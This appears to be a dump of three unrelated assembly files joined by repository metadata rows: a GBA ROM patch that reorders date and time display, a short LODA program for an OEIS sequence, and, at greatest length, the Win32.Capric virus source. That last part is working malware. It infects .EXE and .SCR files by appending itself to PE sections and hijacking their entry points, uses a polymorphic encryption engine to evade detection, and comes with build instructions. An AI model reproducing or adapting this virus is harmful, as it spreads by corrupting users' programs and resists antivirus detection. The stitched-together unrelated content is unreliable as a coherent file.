.org 0x803ADE2 // x-offset for (Su) on "Enter the date and time." screen
.db 0xA2
.org 0x803ADF0 // y-offset for (Su) on "Enter the date and time." screen (orange)
.db 0x43
.org 0x803ADF2 // x-offset for (Su) on "Enter the date and time." screen (orange)
.db 0xA2
.org 0x803AE00 // y-offset for (Mo) on "Enter the date and time." screen
.db 0x43
.org 0x803AE02 // x-offset for (Mo) on "Enter the date and time." screen
.db 0xA2
.org 0x803AE10 // y-offset for (Mo) on "Enter the date and time." screen (orange)
.db 0x43
.org 0x803AE12 // x-offset for (Mo) on "Enter the date and time." screen (orange)
.db 0xA2
.org 0x803AE20 // y-offset for (Tu) on "Enter the date and time." screen
.db 0x43
.org 0x803AE22 // x-offset for (Tu) on "Enter the date and time." screen
.db 0xA2
.org 0x803AE30 // y-offset for (Tu) on "Enter the date and time." screen (orange)
.db 0x43
.org 0x803AE32 // x-offset for (Tu) on "Enter the date and time." screen (orange)
.db 0xA2
.org 0x803AE40 // y-offset for (We) on "Enter the date and time." screen
.db 0x43
.org 0x803AE42 // x-offset for (We) on "Enter the date and time." screen
.db 0xA2
.org 0x803AE50 // y-offset for (We) on "Enter the date and time." screen (orange)
.db 0x43
.org 0x803AE52 // x-offset for (We) on "Enter the date and time." screen (orange)
.db 0xA2
.org 0x803AE60 // y-offset for (Th) on "Enter the date and time." screen
.db 0x43
.org 0x803AE62 // x-offset for (Th) on "Enter the date and time." screen
.db 0xA2
.org 0x803AE70 // y-offset for (Th) on "Enter the date and time." screen (orange)
.db 0x43
.org 0x803AE72 // x-offset for (Th) on "Enter the date and time." screen (orange)
.db 0xA2
.org 0x803AE80 // y-offset for (Fr) on "Enter the date and time." screen
.db 0x43
.org 0x803AE82 // x-offset for (Fr) on "Enter the date and time." screen
.db 0xA2
.org 0x803AE90 // y-offset for (Fr) on "Enter the date and time." screen (orange)
.db 0x43
.org 0x803AE92 // x-offset for (Fr) on "Enter the date and time." screen (orange)
.db 0xA2
.org 0x803AEA0 // y-offset for (Sa) on "Enter the date and time." screen
.db 0x43
.org 0x803AEA2 // x-offset for (Sa) on "Enter the date and time." screen
.db 0xA2
.org 0x803AEB0 // y-offset for (Sa) on "Enter the date and time." screen (orange)
.db 0x43
.org 0x803AEB2 // x-offset for (Sa) on "Enter the date and time." screen (orange)
.db 0xA2
// Draw date/time in different order on Set Time screen
.org 0x803A97E
.area 0x8A,0x00
ldr r4,[0x803AA3C]
.if VAR_DDMMYYYY
// Draw day
ldrb r0,[r4,0x16]
.else
// Draw month
ldrb r0,[r4,0x15]
.endif
mov r1,0x30 // x-offset
mov r2,0x42 // y-offset
mov r3,0x0
bl 0x803AA7C
// Draw first /
mov r0,0x4
bl 0x803AA40
.if VAR_DDMMYYYY
// Draw month
ldrb r0,[r4,0x15]
.else
// Draw day
ldrb r0,[r4,0x16]
.endif
mov r1,0x55 // x-offset
mov r2,0x42 // y-offset
mov r3,0x1
bl 0x803AA7C
// Draw second /
mov r0,0x6
bl 0x803AA40
// Draw XX00
mov r0,0x14
mov r1,0x7A // x-offset
mov r2,0x42 // y-offset
mov r3,0x2
bl 0x803AA7C
// Draw 20X0
mov r0,0x0
mov r1,0x82 // x-offset
mov r2,0x42 // y-offset
mov r3,0x2
bl 0x803AA7C
// Draw year
ldrb r0,[r4,0x14]
mov r1,0x8A // x-offset
mov r2,0x42 // y-offset
mov r3,0x2
bl 0x803AA7C
// Draw weekday
ldrb r0,[r4,0x17]
lsl r0,r0,0x1
add r0,0x14
bl 0x803AA40
// Draw hour
ldrb r0,[r4,0x18]
.if !VAR_24_HOUR
bl common_convert24HourTo12Hour
.endif
mov r1,0x55 // x-offset
mov r2,0x50 // y-offset
mov r3,0x3
bl 0x803AA7C
// Draw :
mov r0,0x8
bl 0x803AA40
// Draw minute
ldrb r0,[r4,0x19]
add r0,0xC8 // Add 200 to get a leading 0
mov r1,0x7A // x-offset
mov r2,0x50 // y-offset
mov r3,0x4
bl 0x803AA7C
.if !VAR_24_HOUR
// Draw AM/PM
mov r0,0xA
ldrb r1,[r4,0x18]
cmp r1,0xB
ble @@drawAMPM
mov r0,0xC
@@drawAMPM:
bl 0x803AA40
.endif
b 0x803AA3A
.endarea
// Change change order on Set Time screen
.org 0x803A7E8
.if VAR_DDMMYYYY
.dw 0x800656B // Change day
.dw bugfix_monthSet|1 // Change month
.else
.dw bugfix_monthSet|1 // Change month
.dw 0x800656B // Change day
.endif
.dw bugfix_yearSet|1 // Change year
.dw 0x800658D // Change hour
.dw 0x80065A5 // Change minute
// MM/DD/YYYY on Schedule Input
.org 0x8032608
.area 0x54,0x00
// Draw month/day
mov r0,r5
mov r1,r6
mov r2,0x0
.if VAR_DDMMYYYY
ldrb r3,[r4,0x2] // Get day
.else
ldrb r3,[r4,0x1] // Get month
.endif
bl 0x8032706
// Draw first /
mov r0,0x10
add r0,r0,r5
mov r1,r6
mov r2,0x0
mov r3,0xA
bl 0x8032750
// Draw day/month
mov r0,0x18
add r0,r0,r5
mov r1,r6
mov r2,0x0
.if VAR_DDMMYYYY
ldrb r3,[r4,0x1] // Get month
.else
ldrb r3,[r4,0x2] // Get day
.endif
bl 0x8032706
// Draw second /
mov r0,0x28
add r0,r0,r5
mov r1,r6
mov r2,0x0
mov r3,0xA
bl 0x8032750
// Draw year XX00
mov r0,0x30
add r0,r0,r5
mov r1,r6
mov r2,0x0
mov r3,0x14
bl 0x8032706
// Draw year 00XX
mov r0,0x40
add r0,r0,r5
mov r1,r6
mov r2,0x0
ldrb r3,[r4]
add r3,0x80
bl 0x8032706
.endarea
// Move AM/PM after time on Schedule Input
.if VAR_24_HOUR
.org 0x803269E
// Skip AM/PM
b 0x80326C2
.org 0x80326DE
mov r0,0x2D // x-offset of :
.org 0x80326EC
mov r0,0x35 // x-offset of minute
.else
.org 0x803269E
mov r0,0x40 // x-offset of A/P
.org 0x80326B4
mov r0,0x48 // x-offset of M
.org 0x80326DE
mov r0,0x20 // x-offset of :
.org 0x80326EC
mov r0,0x28 // x-offset of minute
.endif
// MM/DD/YY on Schedule View
.org 0x8033B46
mov r0,0x4A // base x-offset of year
.if VAR_DDMMYYYY
.org 0x8033B52
mov r0,0x32 // base x-offset of month
.org 0x8033B5E
mov r0,0x1A // base x-offset of day
.else
.org 0x8033B52
mov r0,0x1A // base x-offset of month
.org 0x8033B5E
mov r0,0x32 // base x-offset of day
.endif
// MM/DD/YY on Schedule Delete
.org 0x80341CC
mov r0,0x50 // x-offset of year
.org 0x80341D8
mov r0,0x40 // x-offset of first /
.org 0x80341FC
mov r0,0x28 // x-offset of second /
.if VAR_DDMMYYYY
.org 0x80341E4
mov r0,0x38 // x-offset of month
.org 0x80341F0
mov r0,0x20 // x-offset of day
.else
.org 0x80341E4
mov r0,0x20 // x-offset of month
.org 0x80341F0
mov r0,0x38 // x-offset of day
.endif
.if VAR_CALENDAR_MONDAY
.org 0x8032110
.area 0xA,0x00
ldrb r0,[r0,0x1F]
bl common_convertDayOfWeek
lsl r6,r0,0x4
mov r4,0x1
.endarea
.org 0x8037002
bl scheduleStartOfWeekMondayMarker
mov r6,0x0
@scheduleMarkerLoop:
ldrb r3,[r4]
tst r3,r3
beq 0x803702C
lsl r1,r5,0x4
.org 0x803703A
ble @scheduleMarkerLoop
.org 0x8037040
b @scheduleMarkerLoop
.org 0x8031F80
.area 0x16,0x00
ldrb r0,[r5,0x18] // Get day of week
bl common_convertDayOfWeek
ldrb r1,[r5,0x17] // Get day in month
sub r1,0x1
add r0,r0,r1
mov r1,0x7
swi 0x6
mov r2,0xB
mul r0,r2
lsl r1,r1,0x14
.endarea
.org 0x8031FBA
.area 0x16,0x00
ldrb r0,[r5,0x1F] // Get day of week
bl common_convertDayOfWeek
ldrb r1,[r5,0x1E] // Get day in month
sub r1,0x1
add r0,r0,r1
mov r1,0x7
swi 0x6
mov r2,0xB
mul r0,r2
lsl r1,r1,0x14
.endarea
.endif
| 21.48336
| 81
| 0.700133
|
d05084f1d9cbeca8a924ef31a077c681e1fa172f
| 747
|
asm
|
Assembly
|
oeis/318/A318961.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/318/A318961.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/318/A318961.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A318961: One of the two successive approximations up to 2^n for 2-adic integer sqrt(-7). This is the 3 (mod 4) case.
; Submitted by Jon Maiga
; 3,3,11,11,11,75,75,331,843,1867,3915,8011,16203,16203,16203,81739,212811,474955,474955,474955,2572107,6766411,6766411,23543627,57098059,57098059,57098059,57098059,593968971,1667710795,1667710795,1667710795,1667710795,18847579979,53207318347,121926795083,121926795083,121926795083,671682608971,671682608971,671682608971,5069729120075,5069729120075,5069729120075,5069729120075,75438473297739,75438473297739,356913450008395,919863403429707,919863403429707,3171663217114955,3171663217114955
mov $1,2
mov $2,2
lpb $0
sub $0,1
mul $1,2
pow $2,2
add $2,2
mod $2,$1
lpe
mov $0,$2
mul $0,2
sub $0,1
| 43.941176
| 488
| 0.799197
|
69acd0b34a9679309620920ab9248ae44897d125
| 24,100
|
asm
|
Assembly
|
Win32/Win32.Capric/Win32.Capric_.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:13.000Z
|
2022-03-16T09:11:05.000Z
|
Win32/Win32.Capric/Win32.Capric_.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | null | null | null |
Win32/Win32.Capric/Win32.Capric_.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:15.000Z
|
2022-01-08T20:51:04.000Z
|
; win32.capric, with poly engine.
; compile with: tasm32 /ml gv.asm,,;
; tlink32 /x /Tpe /c gv.obj,gv.exe,,import32.lib
; and set code-section writeable:
; editbin /SECTION:CODE,rwe gv.exe
; / capsyl
.586p
.model flat, stdcall
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.code
exit1stgen: ; ofGHG!
call MessageBoxA,0,offset msgm,offset msgt,0
call ExitProcess,0
msgt db " - virii",0
msgm db " - 1st GENERATiON iS DONE. - ",0
.data
start:
virsz equ (vend-vstart)
tmpsz equ 1024
; virusc0de here
vstart:
call delta
delta: pop ebp
sub ebp, offset delta
; get baseaddr of kernel32.dll
getKrnlBase:
mov ebx, [esp]
and ebx, 0ffff0000h
mov ecx, 50h
getk32: cmp word ptr [ebx], "ZM"
jz short gotk32
sub ebx, 10000h
loop getk32
stc
gotk32: jc retback
mov [ebp+kernelbase], ebx
; save
push dword ptr [ebp+tmpep]
pop dword ptr [ebp+oldep]
push dword ptr [ebp+tmpib]
pop dword ptr [ebp+oldib]
; get needed Apis
call getAPIs
; find and infect files
call findNinf
; jmp to hostcode
or ebp, ebp
jz exit1stgen
retback:
; PAYLOAD
lea esi, [ebp+msgm_A]
mov edx, esi
mov edi, esi
mov ecx, msgm_Asz
xor ebx, ebx
msgl:
lodsb
cmp al, 41h
jb msgn
cmp al, 5ah
ja msgn
or ebx, ebx
jz msgn_
add al, 20h
xor ebx, ebx
jmp msgn
msgn_: inc ebx
msgn:
stosb
loop msgl
lea ebx, [ebp+msgt_A]
call [ebp+aMessageBoxA],0,edx,ebx,0
mov eax, [ebp+oldep]
add eax, [ebp+oldib]
jmp eax ; jump to hosts real entrypoint
; -----------------
; findNinf routine, finds file(s), then jumps to preinf
; and opens & maps it, then checkfile and at last infectFile
findNinf:
; open "." and infect it
lea edi, [ebp+currdir]
call [ebp+aGetCurrentDirectoryA],7Fh,edi
call infectDir
; get other dirs...
ret
; infectDir - find files specified by mask in current dir
;
infectDir:
mov byte ptr [ebp+infcounter], ninfections
lea eax, [ebp+exemask]
call findFile
mov byte ptr [ebp+infcounter], ninfections
lea eax, [ebp+scrmask]
call findFile
;mov byte ptr [ebp+infcounter], ninfections
;lea eax, [ebp+rarmask]
;call findFile
ret
; find one file, (get search handle)
findFile:
lea ebx, [ebp+searchData]
call [ebp+aFindFirstFileA],eax,ebx
; save search-handle
mov [ebp+searchHndl], eax
jmp preinf
; find more files
findFiles:
; clear out old filename
xor eax, eax
lea edi, [ebp+searchData.wfd_FileName]
mov ecx, 260
rep stosb
; find more files
lea eax, [ebp+searchData]
call [ebp+aFindNextFileA],[ebp+searchHndl],eax
or eax, eax
jz CloseSearchHndl ; no more, close handle
; "prepare" found file, open, map
preinf:
cmp byte ptr [ebp+infcounter], 0
jz CloseSearchHndl
lea esi, [ebp+searchData.wfd_FileName]
; set fileattributes to "any file"
call [ebp+aSetFileAttributesA],esi,80h
; open file, existing rw
call [ebp+aCreateFileA],esi,0C0000000h,0,0,3,0,0
inc eax
jz findFiles
dec eax
mov [ebp+fileHndl], eax
; first map to only check the header
mov ecx, 040h
call mapit
; filecheck here ...
checkPEfile:
; check if MZ-sign
cmp word ptr [eax], 'ZM'
jnz demapfile
mov esi, [eax+3Ch]
add esi, eax
; check PE-sign
cmp dword ptr [esi], 'EP'
jnz demapfile
; check if already infected
cmp byte ptr [esi+3Bh], 'X'
jz demapfile
; oh, a nice file (or is it?), infect it
; first close the maphandle
call [ebp+aUnmapViewOfFile],[ebp+mapAddr]
call [ebp+aCloseHandle],[ebp+mapHndl]
; now map the file + extra
mov ecx, [ebp+searchData.wfd_FileSizeLow]
add ecx, virsz+1000h
call mapit
;jmp infectPEfile
; infection here
infectPEfile:
mov esi, [eax+3Ch]
add esi, eax
mov edi, esi
; get addr of last section
mov ebx, [esi+74h] ; dir-entries
shl ebx, 3 ; * 8 (size)
movzx eax, word ptr [esi+6] ; sections
dec eax ; last one
mov ecx, 28h ; * (size)
mul ecx ; .
add esi, 78h ; dir-table
add esi, ebx ; add them
add esi, eax ; and addr in esi
; addr of last section in esi
; start of pe-hdr in edi
; set section RWE
or dword ptr [esi+24h], 0A0000020h
; save old entrypoint and imagebase
mov eax, [edi+28h]
mov [ebp+tmpep], eax
mov eax, [edi+34h]
mov [ebp+tmpib], eax
; calculate new entrypoint
mov eax, [esi+0Ch] ; VirtualAddress
add eax, [esi+10h] ; SizeOfRawData
mov [ebp+newep], eax ; save virus-entrypoint
mov [edi+28h], eax ;
; get where to write virus
mov ebx, [esi+10h] ; SizeOfRawData
add ebx, [esi+14h] ; PointerToRawData
push ebx ; offset in file of where to write vir
push eax ; EP
; align the new size to add
xor edx, edx ;
mov eax, [esi+10h] ; SizeOfRawData
add eax, virsz+tmpsz ; add with sizeof vir
push eax ;
mov ecx, [edi+3Ch] ; alignment
div ecx ; eax / ecx, remanining in edx
pop eax ;
sub ecx, edx ;
add eax, ecx ; aligned size in eax
; set new size of section, file
mov [esi+10h], eax ; SizeOfRawData
mov [esi+08h], eax ; VirtualSize
add eax, [esi+0Ch] ; VirtualAddress
mov [edi+50h], eax ; SizeOfImage
; get random vaule for en/de-cryption, and save
call [ebp+aGetTickCount]
mov [ebp+seed], eax
; now call poly to write decryptor and code to host
mov byte ptr [edi+3Bh],'X' ; infection mark
; Now call p0ly
; ESI = start of code
; EDI = where to place in file
; EBX = location of viruscode in host
; ECX = size of code in dword
lea esi, [ebp+vstart] ;
pop ebx ; EP
add ebx, [ebp+tmpib] ; normalize
pop edi ; offset in file
add edi, [ebp+mapAddr] ; normalize
mov ecx, virsz/4 ; ..
pushad
call p0ly
popad
jmp unmapfile
; mapping routine, ecx holds how much to map
mapit:
push ecx
call [ebp+aCreateFileMappingA],[ebp+fileHndl],0,4,0,ecx,0
or eax, eax
jz closefile
mov [ebp+mapHndl], eax
pop ecx ; how much to map
; mappy, (eax = map-handle)
call [ebp+aMapViewOfFile],eax,2,0,0,ecx
mov [ebp+mapAddr], eax
ret
; to get it right with no-good files
demapfile:
mov ecx, [ebp+searchData.wfd_FileSizeLow]
call [ebp+aSetFilePointer],[ebp+fileHndl],ecx,0,0
call [ebp+aSetEndOfFile],[ebp+fileHndl]
; unmap and close file
unmapfile: call [ebp+aUnmapViewOfFile],[ebp+mapAddr]
closemap: call [ebp+aCloseHandle],[ebp+mapHndl]
closefile: call [ebp+aCloseHandle],[ebp+fileHndl]
; set back the original fileattributes
setdefattrib:
lea eax, [ebp+searchData.wfd_CreationTime]
lea ebx, [ebp+searchData.wfd_LastAccessTime]
lea ecx, [ebp+searchData.wfd_LastWriteTime]
call [ebp+aSetFileTime],[ebp+fileHndl],eax,ebx,ecx
lea eax, [ebp+searchData.wfd_FileName]
call [ebp+aSetFileAttributesA],eax, \
[ebp+searchData.wfd_FileAttributes]
; find more files
jmp findFiles
CloseSearchHndl:
call [ebp+aFindClose], [ebp+searchHndl]
findDone:
ret
; get all needed apis
; ebx = kernelbase
; ebp = delta offset
getAPIs:
; search kernel importtbl for GetProcaddr
; and save the address.
call gGetProcAddr
; get apis from kernel32.dll
mov ebx, [ebp+kernelbase]
lea esi, [ebp+k32APIs]
lea edi, [ebp+k32APIa]
call gAPIs
; get apis from user32.dll
lea eax, dword ptr [ebp+user32dll]
push eax
call dword ptr [ebp+aLoadLibraryA]
mov ebx, eax
lea esi, [ebp+u32APIs]
lea edi, [ebp+u32APIa]
call gAPIs
ret
gGetProcAddr:
push ebx
pop edx ; kernelbase in edx
add edx, [edx+3ch]
add edx, 78h
mov edx, [edx]
add edx, ebx ; export table
mov esi, [edx+20h] ; Address of Names (RVA)
add esi, ebx ; ptrs in esi
xor ecx, ecx ; counter
_gGetProcAddr:
inc ecx ; inc counter
lodsd
add eax, ebx ; heya!
cmp [eax], 'PteG'
jnz _gGetProcAddr
cmp [eax+4],'Acor'
jnz _gGetProcAddr
cmp [eax+8],'erdd'
jnz _gGetProcAddr
; got it.
; addr = couter*2, (in ordinals), then result times 4 (in addr)
mov edi, ebx ; kb in edi
mov ebx, [edx+24h]
add ebx, edi
movzx ecx, word ptr [ebx+2*ecx]; counter*2 +addr of ordinals
sub ecx, [edx+10h]
mov ebx, [edx+1Ch]
add ebx, edi ; VA
mov edx, [ebx+4*ecx] ; oye
add edx, edi
mov dword ptr [ebp+aGetProcAddr], edx
ret
; Gets apis from dlls usings GetProcAddr
; ebx = kernelbase
; esi = ptr to apiname
; edi = place to store apiaddr
; ebp = delta offset
gAPIs:
push esi
push ebx
call dword ptr [ebp+aGetProcAddr]
test eax, eax
jz gexit
stosd
g1: ; get next api
inc esi
cmp byte ptr [esi], 0
jnz g1
inc esi
cmp byte ptr [esi], 0FFh ; end of 'em
jnz gAPIs
gexit:
ret
; DATA --------------------------------------------------------
filetime STRUC ; filetime structure
ft_dwLowDateTime dd ?
ft_dwHighDateTime dd ?
filetime ENDS ;
win32_find_data STRUC
wfd_FileAttributes dd ?
wfd_CreationTime filetime ?
wfd_LastAccessTime filetime ?
wfd_LastWriteTime filetime ?
wfd_FileSizeHigh dd ?
wfd_FileSizeLow dd ?
wfd_Reserved0 dd ?
wfd_Reserved1 dd ?
wfd_FileName dd 260 dup(?)
wfd_AlternateFileName dd 13 dup(?)
dd 3 dup(?) ; padding
win32_find_data ENDS
searchData win32_find_data ?
searchHndl dd 0
exemask db "*.EXE",0
scrmask db "*.SCR",0
;rarmask db "*.RAR",0
currdir db 7Fh dup (0)
ninfections equ 8
infcounter db ninfections
fileattr dd 0
fileHndl dd 0
mapHndl dd 0
mapAddr dd 0
kernelbase dd 0
user32dll db 'USER32.DLL',0
newep dd 0
oldep dd 01000h
tmpep dd 0
oldib dd 0
tmpib dd 0
; the info-msg
msgt_A db "infO",0
msgm_A db "ABCDEF____INFECTED___ABCDEF",0dh,0ah
db "ABCDEF______SHIT_____ABCDEF",0
msgm_Asz equ $-msgm_A
; APIs .
sGetProcAddr db 'GetProcAddr',0
aGetProcAddr dd 0
k32APIs:
sLoadLibraryA db 'LoadLibraryA',0
sExitProcess db 'ExitProcess',0
sCreateFileA db 'CreateFileA',0
sCloseHandle db 'CloseHandle',0
sFindFirstFileA db 'FindFirstFileA',0
sFindNextFileA db 'FindNextFileA',0
sFindClose db 'FindClose',0
sSetFilePointer db 'SetFilePointer',0
sSetEndOfFile db 'SetEndOfFile',0
sSetFileAttributesA db 'SetFileAttributesA',0
sSetFileTime db 'SetFileTime',0
sGetCurrentDirectoryA db 'GetCurrentDirectoryA',0
sCreateFileMappingA db 'CreateFileMappingA',0
sMapViewOfFile db 'MapViewOfFile',0
sUnmapViewOfFile db 'UnmapViewOfFile',0
sGetTickCount db 'GetTickCount',0
db 0FFh
u32APIs:
sMessageBoxA db 'MessageBoxA',0
db 0FFh
k32APIa:
aLoadLibraryA dd 0
aExitProcess dd 0
aCreateFileA dd 0
aCloseHandle dd 0
aFindFirstFileA dd 0
aFindNextFileA dd 0
aFindClose dd 0
aSetFilePointer dd 0
aSetEndOfFile dd 0
aSetFileAttributesA dd 0
aSetFileTime dd 0
aGetCurrentDirectoryA dd 0
aCreateFileMappingA dd 0
aMapViewOfFile dd 0
aUnmapViewOfFile dd 0
aGetTickCount dd 0
u32APIa:
aMessageBoxA dd 0
; Poly engine
; ebx = where vircode will be on exec
; edi = where to store decryptor
; esi = code to decrypt
; ecx = size of code (dword)
; ebp = delta offset
p0ly:;------------------------------------
mov [ebp+CodeAddr], esi
mov [ebp+StartAddr],edi
mov [ebp+StartOfCode], ebx
mov [ebp+CryptLen], ecx
call random32
mov [ebp+CryptKey], eax
call random32
mov [ebp+IncKey], eax
mov eax, 2
call brandom32
mov [ebp+decrdir], al
;-----------------------------------------
; ----------- Get registers ------------
getregs:
call getAreg
mov [ebp+preg], al
call getAreg
mov [ebp+lreg], al
call getAreg
mov [ebp+kreg], al
mov [ebp+_t1], 0
mov [ebp+_t2], 0
mov [ebp+_t3], 0
mov [ebp+_t4], 0
;-----------------------------------------
; Generate the code here
generate_poly:
call garbage
call garbage
call swapregs
call beforeLoop
call garbage
call beforeLoop
call garbage
call beforeLoop
call garbage
call swapregs
mov [ebp+loopaddr], edi
call garbage
call insideloop
call garbage
call insideloop
call garbage
call insideloop
call garbage
call insideloop
call garbage
call afterloop
call swapregs
call garbage
call garbage
mov ecx, edi
sub ecx, [ebp+StartAddr]
mov eax, [ebp+ptrplace]
add [eax+1],ecx
;
;-----------------------------------------
; Encrypt and write viruscode
mov esi, [ebp+CodeAddr]
mov ebx, [ebp+CryptKey]
mov ecx, [ebp+CryptLen]
mov edx, [ebp+IncKey]
e__: lodsd
xor eax, ebx
add ebx, edx
stosd
loop e__
ret
;-----------------------------------------;
;-----------------------------------------;
;-----------------------------------------
; ----------- Before Loop --------------
; (1) mov preg,StartOfCode
; (2) mov lreg,lengthOfCode
; (3) mov kreg,key
beforeLoop:
mov eax, 3
call brandom32
or eax, eax
jz bl1
dec eax
jz bl2
jmp bl3
; (1) mov preg, StartOfCode
bl1: cmp [ebp+_t1], 1
jz beforeLoop
mov [ebp+_t1], 1
mov [ebp+ptrplace], edi
mov eax, 2
call brandom32
or eax, eax
jnz bl1_2
bl1_1:
; push start, pop preg
mov al, 68h
stosb
mov eax, [ebp+StartOfCode]
stosd
call garbage
mov al, 58h
add al, [ebp+preg]
stosb
ret
bl1_2:
; mov preg, startOfIt
mov al, 0b8h
add al, [ebp+preg]
stosb
mov eax, [ebp+StartOfCode]
stosd
ret
; (2) mov lreg, lengthOfCode
bl2: cmp [ebp+_t2], 1
jz beforeLoop
mov [ebp+_t2], 1
mov eax, 2
call brandom32
or eax, eax
jnz bl2_2
bl2_1:
; push CryptLen, pop lreg
mov al, 68h
stosb
mov eax, [ebp+CryptLen]
stosd
call garbage
mov al, 58h
add al, [ebp+lreg]
stosb
ret
bl2_2:
; mov lreg, CryptLen
mov al, 0b8h
add al, [ebp+lreg]
stosb
mov eax, [ebp+CryptLen]
stosd
ret
; (3) mov kreg, key
bl3: cmp [ebp+_t3], 1
jz beforeLoop
mov [ebp+_t3], 1
mov eax, 2
call brandom32
or eax, eax
jnz bl3_2
bl3_1:
; push CryptKey, pop kreg
mov al, 68h
stosb
mov eax, [ebp+CryptKey]
stosd
call garbage
mov al, 58h
add al, [ebp+kreg]
stosb
ret
bl3_2:
; mov kreg, CryptKey
mov al, 0b8h
add al, [ebp+kreg]
stosb
mov eax, [ebp+CryptKey]
stosd
ret
;-----------------------------------------
; ----------- Inside Loop --------------
; (1) add preg, 4
; (2) dec lreg
; (3) xor [preg], kreg
; (4) add kreg, IncKey
insideloop:
; put (3) first
jmp il3
insideloop2:
mov eax, 3
call brandom32
or eax, eax
jz il1
dec eax
jz il2
jmp il4
; (1) add preg, 4
il1:
cmp [ebp+_t1], 0
jz insideloop
mov [ebp+_t1], 0
;cmp [ebp+decrdir], 1
;jz il1
il1_1:
mov ax, 0c083h
or ah, [ebp+preg]
stosw
mov al, 4
stosb
ret
il1_2:
mov ax, 0e883h
or ah, [ebp+preg]
stosw
mov al, 4
stosb
ret
; (2) dec lreg
il2:
cmp [ebp+_t2], 0
jz insideloop
mov [ebp+_t2], 0
mov eax, 2
call brandom32
or eax, eax
jnz il2_2
il2_1:
; dec lreg
mov al, 48h
add al, [ebp+lreg]
stosb
ret
il2_2:
; sub lreg, 1
mov ax, 0e883h
or ah, [ebp+lreg]
stosw
mov al, 1
stosb
ret
; (3) xor [preg], kreg
il3:
cmp [ebp+_t3], 0
jz insideloop2
mov [ebp+_t3], 0
il3_1: mov al, 31h
mov ah, [ebp+preg]
mov dl, [ebp+kreg]
shl dl, 3
or ah, dl
stosw
ret
; (1) add kreg, IncKey
il4:
cmp [ebp+_t4], 1
jz insideloop
mov [ebp+_t4], 1
mov ax, 0c081h
or ah, [ebp+kreg]
stosw
mov eax, [ebp+IncKey]
stosd
ret
;-----------------------------------------
; ----------- After Loop ---------------
; (1) cmp lreg, 0
; (2) jnz loopy
afterloop:
; (1) cmp lreg, 0
al1:
mov eax, 3
call brandom32
or al, al
jz al1_1
dec al
jz al1_2
jmp al1_3
al1_1:
mov ax, 0f883h ; cmp
or ah, [ebp+lreg]
stosw
xor eax, eax
stosb
jmp al2
al1_2: mov al, 0bh ; or
jmp al1_23
al1_3: mov al, 85h ; test
al1_23: mov ah, [ebp+lreg]
shl ah, 3
add ah, [ebp+lreg]
add ah, 0c0h
stosw
; (2) jnz loopy
al2:
mov ax, 850fh
stosw
mov eax, [ebp+loopaddr]
sub eax, edi
sub eax, 4
stosd
ret
;-----------------------------------------
; --------- Get a register -------------
getAreg:
mov eax, 8
call brandom32
cmp al, 4
jz getAreg
cmp al, 5
jz getAreg
cmp al, [ebp+preg]
jz getAreg
cmp al, [ebp+lreg]
jz getAreg
cmp al, [ebp+kreg]
jz getAreg
cmp al, [ebp+treg]
jz getAreg
ret
getUsedreg:
mov eax, 3
call brandom32
mov edx, eax
lea eax, [ebp+usedRegs]
mov al, byte ptr [eax+edx]
ret
;-----------------------------------------
; --------- Swap registers -------------
g_swapregs:
swapregs:
cmp [ebp+inswap],1
jz exit_swap
mov [ebp+inswap],1
call getUsedreg
mov cl, al
call getAreg
mov bl, al
lea eax, [ebp+usedRegs]
mov byte ptr [eax+edx], bl
mov al, 3
call brandom32
or al, al
jz sr1
dec al
jz sr2
jmp sr3
; push reg1,reg2 ; pop reg1,reg2
sr1:
mov al, 50h
add al, cl
stosb
push ebx ecx
call gen_garb
pop ecx ebx
mov al, 50h
add al, bl
stosb
push ebx ecx
call gen_garb
pop ecx ebx
mov al, 58h
add al, cl
stosb
push ebx ecx
call gen_garb
pop ecx ebx
mov al, 58h
add al, bl
stosb
jmp g_swapregs_exit
; mov treg,reg1 ; mov reg1,reg2 ; mov reg2,treg
sr2:
call getAreg
cmp al, bl
jz sr2
mov [ebp+treg],al
mov al, 8bh
mov ah, [ebp+treg]
shl ah, 3
or ah, 0c0h
or ah, bl
stosw
push ebx ecx
call garbage
pop ecx ebx
mov al, 8bh
mov ah, bl
shl ah, 3
or ah, 0c0h
or ah, cl
stosw
push ebx ecx
call garbage
pop ecx ebx
mov al, 8bh
mov ah, cl
shl ah, 3
or ah, 0c0h
or ah, [ebp+treg]
stosw
mov [ebp+treg],43
jmp g_swapregs_exit
; xchg reg1, reg2
sr3:
mov ax, 0c087h
or ah, cl
shl bl, 3
or ah, bl
stosw
g_swapregs_exit:
mov [ebp+inswap],0
exit_swap:
ret
garbage:;---------------------------------;
mov ecx, 5
garbage_:
push ecx
call gen_garb
pop ecx
loop garbage_
ret
gen_garb:
call getAreg
mov bl, al
mov eax, garbFsz
call brandom32
lea edx, [ebp+garbF]
mov edx, [edx+eax*4]
add edx, ebp
call edx
;call g_mov_r32_imm32
ret
;-----------------------------------------;
garbF:
dd offset (gen_1b)
dd offset (g_mov_r32_r32)
dd offset (g_mov_r32_imm32)
dd offset (g_mov_r8_r8)
dd offset (g_mov_r8_imm8)
dd offset (g_a_r32_r32)
dd offset (g_a_r32_imm32)
dd offset (g_zero_r32)
dd offset (g_none)
dd offset (g_inc_r32)
dd offset (g_dec_r32)
dd offset (g_none)
dd offset (g_push_r32_pop_r32)
dd offset (g_push_imm32_pop_r32)
dd offset (g_xchg_r32_r32)
dd offset (g_newcall)
;dd offset (g_oldcall)
;dd offset (g_swapregs)
garbFsz equ (($-offset garbF)/4)
g_none:
ret
gen_1b:
call gen_1b_
nop
clc
cwde
stc
cld
gen_1b_:pop esi
mov eax, 5
call brandom32
add esi, eax
movsb
ret
g_mov_r32_r32:
mov eax, 8
